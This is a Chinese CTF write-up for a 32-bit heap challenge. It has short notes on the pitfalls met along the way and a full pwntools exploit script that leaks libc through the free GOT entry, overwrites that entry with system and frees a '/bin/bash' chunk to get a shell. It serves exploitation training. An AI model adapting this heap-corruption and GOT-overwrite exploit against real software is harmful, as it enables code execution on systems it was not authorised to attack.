这道题还是比较基础的堆题,泄漏libc和get shell都比较基础。需要注意的是以下几点:
- 输入长度限制的绕过方法值得学习一下。
- 泄漏libc时将free got表中写入puts.plt是不可行的,因为这道题的输入结束时候会带上\x00,这样就会破坏free got表的下一项fgets got,导致程序运行失败。
- 我最后本机上运行成功,但是远程打不通,后来经过发现是因为libc的版本不一样,导致使用的偏移也不用。这里可以泄漏几个libc函数的地址,用libc database来进行查询libc版本,并得到需要的偏移。
#coding=utf-8
from pwn import *
#io = process("./pwn")
io = remote("node3.buuoj.cn", 25356)
e = ELF("./pwn")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
#context.log_level = "debug"
#context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
def debug():
gdb.attach(io)
def add_user(description_size, name, text_len, text):
io.recvuntil("Action: ")
io.sendline("0")
io.recvuntil("size of description: ")
io.sendline(str(description_size))
io.recvuntil("name: ")
io.sendline(name)
io.recvuntil("text length: ")
io.sendline(str(text_len))
io.recvuntil("text: ")
io.sendline(text)
def delete_user(index):
io.recvuntil("Action: ")
io.sendline("1")
io.recvuntil("index: ")
io.sendline(str(index))
def display(index):
io.recvuntil("Action: ")
io.sendline("2")
io.recvuntil("index: ")
io.sendline(str(index))
def update(index, text_len, text):
io.recvuntil("Action: ")
io.sendline("3")
io.recvuntil("index: ")
io.sendline(str(index))
io.recvuntil("text length: ")
io.sendline(str(text_len))
io.recvuntil("text: ")
io.sendline(text)
add_user(0x10, "aaa", 0x10, "bbb") #index0
add_user(0x10, "aaa", 0x10, "bbb") #index1
add_user(0x10, "aaa", 0x10, "/bin/bash\x00") #index2
delete_user(0)
free_got = e.got["free"]
payload = 128*"a" + p32(0x0) + p32(0x19) + "\x00"*20 + p32(0x89) + p32(free_got)
add_user(0x80, "aaa", len(payload), payload) #index3
# leak libc
display(1)
io.recvuntil("description: ")
free_addr = u32(io.recv(4))
#libc_addr = free_addr - libc.symbols["free"]
libc_addr = free_addr - 0x00070750
print("func address: " + hex(free_addr))
print("libc address: " + hex(libc_addr))
#get shell
#system_addr = libc_addr + libc.symbols["system"]
system_addr = libc_addr + 0x03a940
payload = p32(system_addr)
update(1, len(payload), payload)
delete_user(2)
io.interactive()